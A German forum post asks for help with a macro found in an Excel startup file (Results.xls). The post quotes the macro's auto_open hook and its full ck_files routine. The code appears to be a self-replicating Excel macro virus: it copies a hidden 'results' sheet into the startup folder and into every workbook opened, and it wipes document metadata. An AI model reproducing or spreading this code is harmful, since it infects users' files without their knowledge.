Ich habe auf einem Laptop eine Excel Datei Zeitnahme mit Makros geöffnet. Diese Datei enthält auch Auto open Makros.
Ist es möglich das diese Datei durch folgendes Makro gestört wird und alle Auto open löscht? Wer kann mir folgendes Makro erklären?
Es gibt auf diesem Laptop eine Datei: C:\Dokumente und Einstellungen\Administrator\\Anwendungsdaten\Microsoft\Excel\XLStart\Results.xls
Diese Datei ist seit dem 15.1.2003 auf dem Laptop und enthält Makros, und zwar das auto_open und ein weiteres, ck_files
Das auto_open enthält nur eine Zeile:
Application.OnSheetActivate = "ck_files"
Hier der Inhalt diese ck_files-Makros:
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
Vielen Dank für eure Hilfe!
Tschüß
Rolf